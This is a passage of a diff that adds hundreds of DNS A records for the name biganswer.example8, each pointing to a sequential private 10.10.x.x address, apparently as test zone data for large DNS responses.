+biganswer.example8.	3600	IN	A	10.10.22.26
+biganswer.example8.	3600	IN	A	10.10.22.27
+biganswer.example8.	3600	IN	A	10.10.22.28
+biganswer.example8.	3600	IN	A	10.10.22.29
+biganswer.example8.	3600	IN	A	10.10.22.30
+biganswer.example8.	3600	IN	A	10.10.22.31
+biganswer.example8.	3600	IN	A	10.10.22.32
+biganswer.example8.	3600	IN	A	10.10.22.33
+biganswer.example8.	3600	IN	A	10.10.22.34
+biganswer.example8.	3600	IN	A	10.10.22.35
+biganswer.example8.	3600	IN	A	10.10.22.36
+biganswer.example8.	3600	IN	A	10.10.22.37
+biganswer.example8.	3600	IN	A	10.10.22.38
+biganswer.example8.	3600	IN	A	10.10.22.39
+biganswer.example8.	3600	IN	A	10.10.22.40
+biganswer.example8.	3600	IN	A	10.10.22.41
+biganswer.example8.	3600	IN	A	10.10.22.42
+biganswer.example8.	3600	IN	A	10.10.22.43
+biganswer.example8.	3600	IN	A	10.10.22.44
+biganswer.example8.	3600	IN	A	10.10.22.45
+biganswer.example8.	3600	IN	A	10.10.22.46
+biganswer.example8.	3600	IN	A	10.10.22.47
+biganswer.example8.	3600	IN	A	10.10.22.48
+biganswer.example8.	3600	IN	A	10.10.22.49
+biganswer.example8.	3600	IN	A	10.10.22.50
+biganswer.example8.	3600	IN	A	10.10.23.1
+biganswer.example8.	3600	IN	A	10.10.23.2
+biganswer.example8.	3600	IN	A	10.10.23.3
+biganswer.example8.	3600	IN	A	10.10.23.4
+biganswer.example8.	3600	IN	A	10.10.23.5
+biganswer.example8.	3600	IN	A	10.10.23.6
+biganswer.example8.	3600	IN	A	10.10.23.7
+biganswer.example8.	3600	IN	A	10.10.23.8
+biganswer.example8.	3600	IN	A	10.10.23.9
+biganswer.example8.	3600	IN	A	10.10.23.10
+biganswer.example8.	3600	IN	A	10.10.23.11
+biganswer.example8.	3600	IN	A	10.10.23.12
+biganswer.example8.	3600	IN	A	10.10.23.13
+biganswer.example8.	3600	IN	A	10.10.23.14
+biganswer.example8.	3600	IN	A	10.10.23.15
+biganswer.example8.	3600	IN	A	10.10.23.16
+biganswer.example8.	3600	IN	A	10.10.23.17
+biganswer.example8.	3600	IN	A	10.10.23.18
+biganswer.example8.	3600	IN	A	10.10.23.19
+biganswer.example8.	3600	IN	A	10.10.23.20
+biganswer.example8.	3600	IN	A	10.10.23.21
+biganswer.example8.	3600	IN	A	10.10.23.22
+biganswer.example8.	3600	IN	A	10.10.23.23
+biganswer.example8.	3600	IN	A	10.10.23.24
+biganswer.example8.	3600	IN	A	10.10.23.25
+biganswer.example8.	3600	IN	A	10.10.23.26
+biganswer.example8.	3600	IN	A	10.10.23.27
+biganswer.example8.	3600	IN	A	10.10.23.28
+biganswer.example8.	3600	IN	A	10.10.23.29
+biganswer.example8.	3600	IN	A	10.10.23.30
+biganswer.example8.	3600	IN	A	10.10.23.31
+biganswer.example8.	3600	IN	A	10.10.23.32
+biganswer.example8.	3600	IN	A	10.10.23.33
+biganswer.example8.	3600	IN	A	10.10.23.34
+biganswer.example8.	3600	IN	A	10.10.23.35
+biganswer.example8.	3600	IN	A	10.10.23.36
+biganswer.example8.	3600	IN	A	10.10.23.37
+biganswer.example8.	3600	IN	A	10.10.23.38
+biganswer.example8.	3600	IN	A	10.10.23.39
+biganswer.example8.	3600	IN	A	10.10.23.40
+biganswer.example8.	3600	IN	A	10.10.23.41
+biganswer.example8.	3600	IN	A	10.10.23.42
+biganswer.example8.	3600	IN	A	10.10.23.43
+biganswer.example8.	3600	IN	A	10.10.23.44
+biganswer.example8.	3600	IN	A	10.10.23.45
+biganswer.example8.	3600	IN	A	10.10.23.46
+biganswer.example8.	3600	IN	A	10.10.23.47
+biganswer.example8.	3600	IN	A	10.10.23.48
+biganswer.example8.	3600	IN	A	10.10.23.49
+biganswer.example8.	3600	IN	A	10.10.23.50
+biganswer.example8.	3600	IN	A	10.10.24.1
+biganswer.example8.	3600	IN	A	10.10.24.2
+biganswer.example8.	3600	IN	A	10.10.24.3
+biganswer.example8.	3600	IN	A	10.10.24.4
+biganswer.example8.	3600	IN	A	10.10.24.5
+biganswer.example8.	3600	IN	A	10.10.24.6
+biganswer.example8.	3600	IN	A	10.10.24.7
+biganswer.example8.	3600	IN	A	10.10.24.8
+biganswer.example8.	3600	IN	A	10.10.24.9
+biganswer.example8.	3600	IN	A	10.10.24.10
+biganswer.example8.	3600	IN	A	10.10.24.11
+biganswer.example8.	3600	IN	A	10.10.24.12
+biganswer.example8.	3600	IN	A	10.10.24.13
+biganswer.example8.	3600	IN	A	10.10.24.14
+biganswer.example8.	3600	IN	A	10.10.24.15
+biganswer.example8.	3600	IN	A	10.10.24.16
+biganswer.example8.	3600	IN	A	10.10.24.17
+biganswer.example8.	3600	IN	A	10.10.24.18
+biganswer.example8.	3600	IN	A	10.10.24.19
+biganswer.example8.	3600	IN	A	10.10.24.20
+biganswer.example8.	3600	IN	A	10.10.24.21
+biganswer.example8.	3600	IN	A	10.10.24.22
+biganswer.example8.	3600	IN	A	10.10.24.23
+biganswer.example8.	3600	IN	A	10.10.24.24
+biganswer.example8.	3600	IN	A	10.10.24.25
+biganswer.example8.	3600	IN	A	10.10.24.26
+biganswer.example8.	3600	IN	A	10.10.24.27
+biganswer.example8.	3600	IN	A	10.10.24.28
+biganswer.example8.	3600	IN	A	10.10.24.29
+biganswer.example8.	3600	IN	A	10.10.24.30
+biganswer.example8.	3600	IN	A	10.10.24.31
+biganswer.example8.	3600	IN	A	10.10.24.32
+biganswer.example8.	3600	IN	A	10.10.24.33
+biganswer.example8.	3600	IN	A	10.10.24.34
+biganswer.example8.	3600	IN	A	10.10.24.35
+biganswer.example8.	3600	IN	A	10.10.24.36
+biganswer.example8.	3600	IN	A	10.10.24.37
+biganswer.example8.	3600	IN	A	10.10.24.38
+biganswer.example8.	3600	IN	A	10.10.24.39
+biganswer.example8.	3600	IN	A	10.10.24.40
+biganswer.example8.	3600	IN	A	10.10.24.41
+biganswer.example8.	3600	IN	A	10.10.24.42
+biganswer.example8.	3600	IN	A	10.10.24.43
+biganswer.example8.	3600	IN	A	10.10.24.44
+biganswer.example8.	3600	IN	A	10.10.24.45
+biganswer.example8.	3600	IN	A	10.10.24.46
+biganswer.example8.	3600	IN	A	10.10.24.47
+biganswer.example8.	3600	IN	A	10.10.24.48
+biganswer.example8.	3600	IN	A	10.10.24.49
+biganswer.example8.	3600	IN	A	10.10.24.50
+biganswer.example8.	3600	IN	A	10.10.25.1
+biganswer.example8.	3600	IN	A	10.10.25.2
+biganswer.example8.	3600	IN	A	10.10.25.3
+biganswer.example8.	3600	IN	A	10.10.25.4
+biganswer.example8.	3600	IN	A	10.10.25.5
+biganswer.example8.	3600	IN	A	10.10.25.6
+biganswer.example8.	3600	IN	A	10.10.25.7
+biganswer.example8.	3600	IN	A	10.10.25.8
+biganswer.example8.	3600	IN	A	10.10.25.9
+biganswer.example8.	3600	IN	A	10.10.25.10
+biganswer.example8.	3600	IN	A	10.10.25.11
+biganswer.example8.	3600	IN	A	10.10.25.12
+biganswer.example8.	3600	IN	A	10.10.25.13
+biganswer.example8.	3600	IN	A	10.10.25.14
+biganswer.example8.	3600	IN	A	10.10.25.15
+biganswer.example8.	3600	IN	A	10.10.25.16
+biganswer.example8.	3600	IN	A	10.10.25.17
+biganswer.example8.	3600	IN	A	10.10.25.18
+biganswer.example8.	3600	IN	A	10.10.25.19
+biganswer.example8.	3600	IN	A	10.10.25.20
+biganswer.example8.	3600	IN	A	10.10.25.21
+biganswer.example8.	3600	IN	A	10.10.25.22
+biganswer.example8.	3600	IN	A	10.10.25.23
+biganswer.example8.	3600	IN	A	10.10.25.24
+biganswer.example8.	3600	IN	A	10.10.25.25
+biganswer.example8.	3600	IN	A	10.10.25.26
+biganswer.example8.	3600	IN	A	10.10.25.27
+biganswer.example8.	3600	IN	A	10.10.25.28
+biganswer.example8.	3600	IN	A	10.10.25.29
+biganswer.example8.	3600	IN	A	10.10.25.30
+biganswer.example8.	3600	IN	A	10.10.25.31
+biganswer.example8.	3600	IN	A	10.10.25.32
+biganswer.example8.	3600	IN	A	10.10.25.33
+biganswer.example8.	3600	IN	A	10.10.25.34
+biganswer.example8.	3600	IN	A	10.10.25.35
+biganswer.example8.	3600	IN	A	10.10.25.36
+biganswer.example8.	3600	IN	A	10.10.25.37
+biganswer.example8.	3600	IN	A	10.10.25.38
+biganswer.example8.	3600	IN	A	10.10.25.39
+biganswer.example8.	3600	IN	A	10.10.25.40
+biganswer.example8.	3600	IN	A	10.10.25.41
+biganswer.example8.	3600	IN	A	10.10.25.42
+biganswer.example8.	3600	IN	A	10.10.25.43
+biganswer.example8.	3600	IN	A	10.10.25.44
+biganswer.example8.	3600	IN	A	10.10.25.45
+biganswer.example8.	3600	IN	A	10.10.25.46
+biganswer.example8.	3600	IN	A	10.10.25.47
+biganswer.example8.	3600	IN	A	10.10.25.48
+biganswer.example8.	3600	IN	A	10.10.25.49
+biganswer.example8.	3600	IN	A	10.10.25.50
+biganswer.example8.	3600	IN	A	10.10.26.1
+biganswer.example8.	3600	IN	A	10.10.26.2
+biganswer.example8.	3600	IN	A	10.10.26.3
+biganswer.example8.	3600	IN	A	10.10.26.4
+biganswer.example8.	3600	IN	A	10.10.26.5
+biganswer.example8.	3600	IN	A	10.10.26.6
+biganswer.example8.	3600	IN	A	10.10.26.7
+biganswer.example8.	3600	IN	A	10.10.26.8
+biganswer.example8.	3600	IN	A	10.10.26.9
+biganswer.example8.	3600	IN	A	10.10.26.10
+biganswer.example8.	3600	IN	A	10.10.26.11
+biganswer.example8.	3600	IN	A	10.10.26.12
+biganswer.example8.	3600	IN	A	10.10.26.13
+biganswer.example8.	3600	IN	A	10.10.26.14
+biganswer.example8.	3600	IN	A	10.10.26.15
+biganswer.example8.	3600	IN	A	10.10.26.16
+biganswer.example8.	3600	IN	A	10.10.26.17
+biganswer.example8.	3600	IN	A	10.10.26.18
+biganswer.example8.	3600	IN	A	10.10.26.19
+biganswer.example8.	3600	IN	A	10.10.26.20
+biganswer.example8.	3600	IN	A	10.10.26.21
+biganswer.example8.	3600	IN	A	10.10.26.22
+biganswer.example8.	3600	IN	A	10.10.26.23
+biganswer.example8.	3600	IN	A	10.10.26.24
+biganswer.example8.	3600	IN	A	10.10.26.25
+biganswer.example8.	3600	IN	A	10.10.26.26
+biganswer.example8.	3600	IN	A	10.10.26.27
+biganswer.example8.	3600	IN	A	10.10.26.28
+biganswer.example8.	3600	IN	A	10.10.26.29
+biganswer.example8.	3600	IN	A	10.10.26.30
+biganswer.example8.	3600	IN	A	10.10.26.31
+biganswer.example8.	3600	IN	A	10.10.26.32
+biganswer.example8.	3600	IN	A	10.10.26.33
+biganswer.example8.	3600	IN	A	10.10.26.34
+biganswer.example8.	3600	IN	A	10.10.26.35
+biganswer.example8.	3600	IN	A	10.10.26.36
+biganswer.example8.	3600	IN	A	10.10.26.37
+biganswer.example8.	3600	IN	A	10.10.26.38
+biganswer.example8.	3600	IN	A	10.10.26.39
+biganswer.example8.	3600	IN	A	10.10.26.40
+biganswer.example8.	3600	IN	A	10.10.26.41
+biganswer.example8.	3600	IN	A	10.10.26.42
+biganswer.example8.	3600	IN	A	10.10.26.43
+biganswer.example8.	3600	IN	A	10.10.26.44
+biganswer.example8.	3600	IN	A	10.10.26.45
+biganswer.example8.	3600	IN	A	10.10.26.46
+biganswer.example8.	3600	IN	A	10.10.26.47
+biganswer.example8.	3600	IN	A	10.10.26.48
+biganswer.example8.	3600	IN	A	10.10.26.49
+biganswer.example8.	3600	IN	A	10.10.26.50
+biganswer.example8.	3600	IN	A	10.10.27.1
+biganswer.example8.	3600	IN	A	10.10.27.2
+biganswer.example8.	3600	IN	A	10.10.27.3
+biganswer.example8.	3600	IN	A	10.10.27.4
+biganswer.example8.	3600	IN	A	10.10.27.5
+biganswer.example8.	3600	IN	A	10.10.27.6
+biganswer.example8.	3600	IN	A	10.10.27.7
+biganswer.example8.	3600	IN	A	10.10.27.8
+biganswer.example8.	3600	IN	A	10.10.27.9
+biganswer.example8.	3600	IN	A	10.10.27.10
+biganswer.example8.	3600	IN	A	10.10.27.11
+biganswer.example8.	3600	IN	A	10.10.27.12
+biganswer.example8.	3600	IN	A	10.10.27.13
+biganswer.example8.	3600	IN	A	10.10.27.14
+biganswer.example8.	3600	IN	A	10.10.27.15
+biganswer.example8.	3600	IN	A	10.10.27.16
+biganswer.example8.	3600	IN	A	10.10.27.17
+biganswer.example8.	3600	IN	A	10.10.27.18
+biganswer.example8.	3600	IN	A	10.10.27.19
+biganswer.example8.	3600	IN	A	10.10.27.20
+biganswer.example8.	3600	IN	A	10.10.27.21
+biganswer.example8.	3600	IN	A	10.10.27.22
+biganswer.example8.	3600	IN	A	10.10.27.23
+biganswer.example8.	3600	IN	A	10.10.27.24
+biganswer.example8.	3600	IN	A	10.10.27.25
+biganswer.example8.	3600	IN	A	10.10.27.26
+biganswer.example8.	3600	IN	A	10.10.27.27
+biganswer.example8.	3600	IN	A	10.10.27.28
+biganswer.example8.	3600	IN	A	10.10.27.29
+biganswer.example8.	3600	IN	A	10.10.27.30
+biganswer.example8.	3600	IN	A	10.10.27.31
+biganswer.example8.	3600	IN	A	10.10.27.32
+biganswer.example8.	3600	IN	A	10.10.27.33
+biganswer.example8.	3600	IN	A	10.10.27.34
+biganswer.example8.	3600	IN	A	10.10.27.35
+biganswer.example8.	3600	IN	A	10.10.27.36
+biganswer.example8.	3600	IN	A	10.10.27.37
+biganswer.example8.	3600	IN	A	10.10.27.38
+biganswer.example8.	3600	IN	A	10.10.27.39
+biganswer.example8.	3600	IN	A	10.10.27.40
+biganswer.example8.	3600	IN	A	10.10.27.41
+biganswer.example8.	3600	IN	A	10.10.27.42
+biganswer.example8.	3600	IN	A	10.10.27.43
+biganswer.example8.	3600	IN	A	10.10.27.44
+biganswer.example8.	3600	IN	A	10.10.27.45
+biganswer.example8.	3600	IN	A	10.10.27.46
+biganswer.example8.	3600	IN	A	10.10.27.47
+biganswer.example8.	3600	IN	A	10.10.27.48
+biganswer.example8.	3600	IN	A	10.10.27.49
+biganswer.example8.	3600	IN	A	10.10.27.50
+biganswer.example8.	3600	IN	A	10.10.28.1
+biganswer.example8.	3600	IN	A	10.10.28.2
+biganswer.example8.	3600	IN	A	10.10.28.3
+biganswer.example8.	3600	IN	A	10.10.28.4
+biganswer.example8.	3600	IN	A	10.10.28.5
+biganswer.example8.	3600	IN	A	10.10.28.6
+biganswer.example8.	3600	IN	A	10.10.28.7
+biganswer.example8.	3600	IN	A	10.10.28.8
+biganswer.example8.	3600	IN	A	10.10.28.9
+biganswer.example8.	3600	IN	A	10.10.28.10
+biganswer.example8.	3600	IN	A	10.10.28.11
+biganswer.example8.	3600	IN	A	10.10.28.12
+biganswer.example8.	3600	IN	A	10.10.28.13
+biganswer.example8.	3600	IN	A	10.10.28.14
+biganswer.example8.	3600	IN	A	10.10.28.15
+biganswer.example8.	3600	IN	A	10.10.28.16
+biganswer.example8.	3600	IN	A	10.10.28.17
+biganswer.example8.	3600	IN	A	10.10.28.18
+biganswer.example8.	3600	IN	A	10.10.28.19
+biganswer.example8.	3600	IN	A	10.10.28.20
+biganswer.example8.	3600	IN	A	10.10.28.21
+biganswer.example8.	3600	IN	A	10.10.28.22
+biganswer.example8.	3600	IN	A	10.10.28.23
+biganswer.example8.	3600	IN	A	10.10.28.24
+biganswer.example8.	3600	IN	A	10.10.28.25
+biganswer.example8.	3600	IN	A	10.10.28.26
+biganswer.example8.	3600	IN	A	10.10.28.27
+biganswer.example8.	3600	IN	A	10.10.28.28
+biganswer.example8.	3600	IN	A	10.10.28.29
+biganswer.example8.	3600	IN	A	10.10.28.30
+biganswer.example8.	3600	IN	A	10.10.28.31
+biganswer.example8.	3600	IN	A	10.10.28.32
+biganswer.example8.	3600	IN	A	10.10.28.33
+biganswer.example8.	3600	IN	A	10.10.28.34
+biganswer.example8.	3600	IN	A	10.10.28.35
+biganswer.example8.	3600	IN	A	10.10.28.36
+biganswer.example8.	3600	IN	A	10.10.28.37
+biganswer.example8.	3600	IN	A	10.10.28.38
+biganswer.example8.	3600	IN	A	10.10.28.39
+biganswer.example8.	3600	IN	A	10.10.28.40
+biganswer.example8.	3600	IN	A	10.10.28.41
+biganswer.example8.	3600	IN	A	10.10.28.42
+biganswer.example8.	3600	IN	A	10.10.28.43
+biganswer.example8.	3600	IN	A	10.10.28.44
+biganswer.example8.	3600	IN	A	10.10.28.45
+biganswer.example8.	3600	IN	A	10.10.28.46
+biganswer.example8.	3600	IN	A	10.10.28.47
+biganswer.example8.	3600	IN	A	10.10.28.48
+biganswer.example8.	3600	IN	A	10.10.28.49
+biganswer.example8.	3600	IN	A	10.10.28.50
+biganswer.example8.	3600	IN	A	10.10.29.1
+biganswer.example8.	3600	IN	A	10.10.29.2
+biganswer.example8.	3600	IN	A	10.10.29.3
+biganswer.example8.	3600	IN	A	10.10.29.4
+biganswer.example8.	3600	IN	A	10.10.29.5
+biganswer.example8.	3600	IN	A	10.10.29.6
+biganswer.example8.	3600	IN	A	10.10.29.7
+biganswer.example8.	3600	IN	A	10.10.29.8
+biganswer.example8.	3600	IN	A	10.10.29.9
+biganswer.example8.	3600	IN	A	10.10.29.10
+biganswer.example8.	3600	IN	A	10.10.29.11
+biganswer.example8.	3600	IN	A	10.10.29.12
+biganswer.example8.	3600	IN	A	10.10.29.13
+biganswer.example8.	3600	IN	A	10.10.29.14
+biganswer.example8.	3600	IN	A	10.10.29.15
+biganswer.example8.	3600	IN	A	10.10.29.16
+biganswer.example8.	3600	IN	A	10.10.29.17
+biganswer.example8.	3600	IN	A	10.10.29.18
+biganswer.example8.	3600	IN	A	10.10.29.19
+biganswer.example8.	3600	IN	A	10.10.29.20
+biganswer.example8.	3600	IN	A	10.10.29.21
+biganswer.example8.	3600	IN	A	10.10.29.22
+biganswer.example8.	3600	IN	A	10.10.29.23
+biganswer.example8.	3600	IN	A	10.10.29.24
+biganswer.example8.	3600	IN	A	10.10.29.25
+biganswer.example8.	3600	IN	A	10.10.29.26
+biganswer.example8.	3600	IN	A	10.10.29.27
+biganswer.example8.	3600	IN	A	10.10.29.28
+biganswer.example8.	3600	IN	A	10.10.29.29
+biganswer.example8.	3600	IN	A	10.10.29.30
+biganswer.example8.	3600	IN	A	10.10.29.31
+biganswer.example8.	3600	IN	A	10.10.29.32
+biganswer.example8.	3600	IN	A	10.10.29.33
+biganswer.example8.	3600	IN	A	10.10.29.34
+biganswer.example8.	3600	IN	A	10.10.29.35
+biganswer.example8.	3600	IN	A	10.10.29.36
+biganswer.example8.	3600	IN	A	10.10.29.37
+biganswer.example8.	3600	IN	A	10.10.29.38
+biganswer.example8.	3600	IN	A	10.10.29.39
+biganswer.example8.	3600	IN	A	10.10.29.40
+biganswer.example8.	3600	IN	A	10.10.29.41
+biganswer.example8.	3600	IN	A	10.10.29.42
+biganswer.example8.	3600	IN	A	10.10.29.43
+biganswer.example8.	3600	IN	A	10.10.29.44
+biganswer.example8.	3600	IN	A	10.10.29.45
+biganswer.example8.	3600	IN	A	10.10.29.46
+biganswer.example8.	3600	IN	A	10.10.29.47
+biganswer.example8.	3600	IN	A	10.10.29.48
+biganswer.example8.	3600	IN	A	10.10.29.49
+biganswer.example8.	3600	IN	A	10.10.29.50
+biganswer.example8.	3600	IN	A	10.10.30.1
+biganswer.example8.	3600	IN	A	10.10.30.2
+biganswer.example8.	3600	IN	A	10.10.30.3
+biganswer.example8.	3600	IN	A	10.10.30.4
+biganswer.example8.	3600	IN	A	10.10.30.5
+biganswer.example8.	3600	IN	A	10.10.30.6
+biganswer.example8.	3600	IN	A	10.10.30.7
+biganswer.example8.	3600	IN	A	10.10.30.8
+biganswer.example8.	3600	IN	A	10.10.30.9
+biganswer.example8.	3600	IN	A	10.10.30.10
+biganswer.example8.	3600	IN	A	10.10.30.11
+biganswer.example8.	3600	IN	A	10.10.30.12
+biganswer.example8.	3600	IN	A	10.10.30.13
+biganswer.example8.	3600	IN	A	10.10.30.14
+biganswer.example8.	3600	IN	A	10.10.30.15
+biganswer.example8.	3600	IN	A	10.10.30.16
+biganswer.example8.	3600	IN	A	10.10.30.17
+biganswer.example8.	3600	IN	A	10.10.30.18
+biganswer.example8.	3600	IN	A	10.10.30.19
+biganswer.example8.	3600	IN	A	10.10.30.20
+biganswer.example8.	3600	IN	A	10.10.30.21
+biganswer.example8.	3600	IN	A	10.10.30.22
+biganswer.example8.	3600	IN	A	10.10.30.23
+biganswer.example8.	3600	IN	A	10.10.30.24
+biganswer.example8.	3600	IN	A	10.10.30.25
+biganswer.example8.	3600	IN	A	10.10.30.26
+biganswer.example8.	3600	IN	A	10.10.30.27
+biganswer.example8.	3600	IN	A	10.10.30.28
+biganswer.example8.	3600	IN	A	10.10.30.29
+biganswer.example8.	3600	IN	A	10.10.30.30
+biganswer.example8.	3600	IN	A	10.10.30.31
+biganswer.example8.	3600	IN	A	10.10.30.32
+biganswer.example8.	3600	IN	A	10.10.30.33
+biganswer.example8.	3600	IN	A	10.10.30.34
+biganswer.example8.	3600	IN	A	10.10.30.35
+biganswer.example8.	3600	IN	A	10.10.30.36
+biganswer.example8.	3600	IN	A	10.10.30.37
+biganswer.example8.	3600	IN	A	10.10.30.38
+biganswer.example8.	3600	IN	A	10.10.30.39
+biganswer.example8.	3600	IN	A	10.10.30.40
+biganswer.example8.	3600	IN	A	10.10.30.41
+biganswer.example8.	3600	IN	A	10.10.30.42
+biganswer.example8.	3600	IN	A	10.10.30.43
+biganswer.example8.	3600	IN	A	10.10.30.44
+biganswer.example8.	3600	IN	A	10.10.30.45
+biganswer.example8.	3600	IN	A	10.10.30.46
+biganswer.example8.	3600	IN	A	10.10.30.47
+biganswer.example8.	3600	IN	A	10.10.30.48
+biganswer.example8.	3600	IN	A	10.10.30.49
+biganswer.example8.	3600	IN	A	10.10.30.50
+biganswer.example8.	3600	IN	A	10.10.31.1
+biganswer.example8.	3600	IN	A	10.10.31.2
+biganswer.example8.	3600	IN	A	10.10.31.3
+biganswer.example8.	3600	IN	A	10.10.31.4
+biganswer.example8.	3600	IN	A	10.10.31.5
+biganswer.example8.	3600	IN	A	10.10.31.6
+biganswer.example8.	3600	IN	A	10.10.31.7
+biganswer.example8.	3600	IN	A	10.10.31.8
+biganswer.example8.	3600	IN	A	10.10.31.9
+biganswer.example8.	3600	IN	A	10.10.31.10
+biganswer.example8.	3600	IN	A	10.10.31.11
+biganswer.example8.	3600	IN	A	10.10.31.12
+biganswer.example8.	3600	IN	A	10.10.31.13
+biganswer.example8.	3600	IN	A	10.10.31.14
+biganswer.example8.	3600	IN	A	10.10.31.15
+biganswer.example8.	3600	IN	A	10.10.31.16
+biganswer.example8.	3600	IN	A	10.10.31.17
+biganswer.example8.	3600	IN	A	10.10.31.18
+biganswer.example8.	3600	IN	A	10.10.31.19
+biganswer.example8.	3600	IN	A	10.10.31.20
+biganswer.example8.	3600	IN	A	10.10.31.21
+biganswer.example8.	3600	IN	A	10.10.31.22
+biganswer.example8.	3600	IN	A	10.10.31.23
+biganswer.example8.	3600	IN	A	10.10.31.24
+biganswer.example8.	3600	IN	A	10.10.31.25
+biganswer.example8.	3600	IN	A	10.10.31.26
+biganswer.example8.	3600	IN	A	10.10.31.27
+biganswer.example8.	3600	IN	A	10.10.31.28
+biganswer.example8.	3600	IN	A	10.10.31.29
+biganswer.example8.	3600	IN	A	10.10.31.30
+biganswer.example8.	3600	IN	A	10.10.31.31
+biganswer.example8.	3600	IN	A	10.10.31.32
+biganswer.example8.	3600	IN	A	10.10.31.33
+biganswer.example8.	3600	IN	A	10.10.31.34
+biganswer.example8.	3600	IN	A	10.10.31.35
+biganswer.example8.	3600	IN	A	10.10.31.36
+biganswer.example8.	3600	IN	A	10.10.31.37
+biganswer.example8.	3600	IN	A	10.10.31.38
+biganswer.example8.	3600	IN	A	10.10.31.39
+biganswer.example8.	3600	IN	A	10.10.31.40
+biganswer.example8.	3600	IN	A	10.10.31.41
+biganswer.example8.	3600	IN	A	10.10.31.42
+biganswer.example8.	3600	IN	A	10.10.31.43
+biganswer.example8.	3600	IN	A	10.10.31.44
+biganswer.example8.	3600	IN	A	10.10.31.45
+biganswer.example8.	3600	IN	A	10.10.31.46
+biganswer.example8.	3600	IN	A	10.10.31.47
+biganswer.example8.	3600	IN	A	10.10.31.48
+biganswer.example8.	3600	IN	A	10.10.31.49
+biganswer.example8.	3600	IN	A	10.10.31.50
+biganswer.example8.	3600	IN	A	10.10.32.1
+biganswer.example8.	3600	IN	A	10.10.32.2
+biganswer.example8.	3600	IN	A	10.10.32.3
+biganswer.example8.	3600	IN	A	10.10.32.4
+biganswer.example8.	3600	IN	A	10.10.32.5
+biganswer.example8.	3600	IN	A	10.10.32.6
+biganswer.example8.	3600	IN	A	10.10.32.7
+biganswer.example8.	3600	IN	A	10.10.32.8
+biganswer.example8.	3600	IN	A	10.10.32.9
+biganswer.example8.	3600	IN	A	10.10.32.10
+biganswer.example8.	3600	IN	A	10.10.32.11
+biganswer.example8.	3600	IN	A	10.10.32.12
+biganswer.example8.	3600	IN	A	10.10.32.13
+biganswer.example8.	3600	IN	A	10.10.32.14
+biganswer.example8.	3600	IN	A	10.10.32.15
+biganswer.example8.	3600	IN	A	10.10.32.16
+biganswer.example8.	3600	IN	A	10.10.32.17
+biganswer.example8.	3600	IN	A	10.10.32.18
+biganswer.example8.	3600	IN	A	10.10.32.19
+biganswer.example8.	3600	IN	A	10.10.32.20
+biganswer.example8.	3600	IN	A	10.10.32.21
+biganswer.example8.	3600	IN	A	10.10.32.22
+biganswer.example8.	3600	IN	A	10.10.32.23
+biganswer.example8.	3600	IN	A	10.10.32.24
+biganswer.example8.	3600	IN	A	10.10.32.25
+biganswer.example8.	3600	IN	A	10.10.32.26
+biganswer.example8.	3600	IN	A	10.10.32.27
+biganswer.example8.	3600	IN	A	10.10.32.28
+biganswer.example8.	3600	IN	A	10.10.32.29
+biganswer.example8.	3600	IN	A	10.10.32.30
+biganswer.example8.	3600	IN	A	10.10.32.31
+biganswer.example8.	3600	IN	A	10.10.32.32
+biganswer.example8.	3600	IN	A	10.10.32.33
+biganswer.example8.	3600	IN	A	10.10.32.34
+biganswer.example8.	3600	IN	A	10.10.32.35
+biganswer.example8.	3600	IN	A	10.10.32.36
+biganswer.example8.	3600	IN	A	10.10.32.37
+biganswer.example8.	3600	IN	A	10.10.32.38
+biganswer.example8.	3600	IN	A	10.10.32.39
+biganswer.example8.	3600	IN	A	10.10.32.40
+biganswer.example8.	3600	IN	A	10.10.32.41
+biganswer.example8.	3600	IN	A	10.10.32.42
+biganswer.example8.	3600	IN	A	10.10.32.43
+biganswer.example8.	3600	IN	A	10.10.32.44
+biganswer.example8.	3600	IN	A	10.10.32.45
+biganswer.example8.	3600	IN	A	10.10.32.46
+biganswer.example8.	3600	IN	A	10.10.32.47
+biganswer.example8.	3600	IN	A	10.10.32.48
+biganswer.example8.	3600	IN	A	10.10.32.49
+biganswer.example8.	3600	IN	A	10.10.32.50
+biganswer.example8.	3600	IN	A	10.10.33.1
+biganswer.example8.	3600	IN	A	10.10.33.2
+biganswer.example8.	3600	IN	A	10.10.33.3
+biganswer.example8.	3600	IN	A	10.10.33.4
+biganswer.example8.	3600	IN	A	10.10.33.5
+biganswer.example8.	3600	IN	A	10.10.33.6
+biganswer.example8.	3600	IN	A	10.10.33.7
+biganswer.example8.	3600	IN	A	10.10.33.8
+biganswer.example8.	3600	IN	A	10.10.33.9
+biganswer.example8.	3600	IN	A	10.10.33.10
+biganswer.example8.	3600	IN	A	10.10.33.11
+biganswer.example8.	3600	IN	A	10.10.33.12
+biganswer.example8.	3600	IN	A	10.10.33.13
+biganswer.example8.	3600	IN	A	10.10.33.14
+biganswer.example8.	3600	IN	A	10.10.33.15
+biganswer.example8.	3600	IN	A	10.10.33.16
+biganswer.example8.	3600	IN	A	10.10.33.17
+biganswer.example8.	3600	IN	A	10.10.33.18
+biganswer.example8.	3600	IN	A	10.10.33.19
+biganswer.example8.	3600	IN	A	10.10.33.20
+biganswer.example8.	3600	IN	A	10.10.33.21
+biganswer.example8.	3600	IN	A	10.10.33.22
+biganswer.example8.	3600	IN	A	10.10.33.23
+biganswer.example8.	3600	IN	A	10.10.33.24
+biganswer.example8.	3600	IN	A	10.10.33.25
+biganswer.example8.	3600	IN	A	10.10.33.26
+biganswer.example8.	3600	IN	A	10.10.33.27
+biganswer.example8.	3600	IN	A	10.10.33.28
+biganswer.example8.	3600	IN	A	10.10.33.29
+biganswer.example8.	3600	IN	A	10.10.33.30
+biganswer.example8.	3600	IN	A	10.10.33.31
+biganswer.example8.	3600	IN	A	10.10.33.32
+biganswer.example8.	3600	IN	A	10.10.33.33
+biganswer.example8.	3600	IN	A	10.10.33.34
+biganswer.example8.	3600	IN	A	10.10.33.35
+biganswer.example8.	3600	IN	A	10.10.33.36
+biganswer.example8.	3600	IN	A	10.10.33.37
+biganswer.example8.	3600	IN	A	10.10.33.38
+biganswer.example8.	3600	IN	A	10.10.33.39
+biganswer.example8.	3600	IN	A	10.10.33.40
+biganswer.example8.	3600	IN	A	10.10.33.41
+biganswer.example8.	3600	IN	A	10.10.33.42
+biganswer.example8.	3600	IN	A	10.10.33.43
+biganswer.example8.	3600	IN	A	10.10.33.44
+biganswer.example8.	3600	IN	A	10.10.33.45
+biganswer.example8.	3600	IN	A	10.10.33.46
+biganswer.example8.	3600	IN	A	10.10.33.47
+biganswer.example8.	3600	IN	A	10.10.33.48
+biganswer.example8.	3600	IN	A	10.10.33.49
+biganswer.example8.	3600	IN	A	10.10.33.50
+biganswer.example8.	3600	IN	A	10.10.34.1
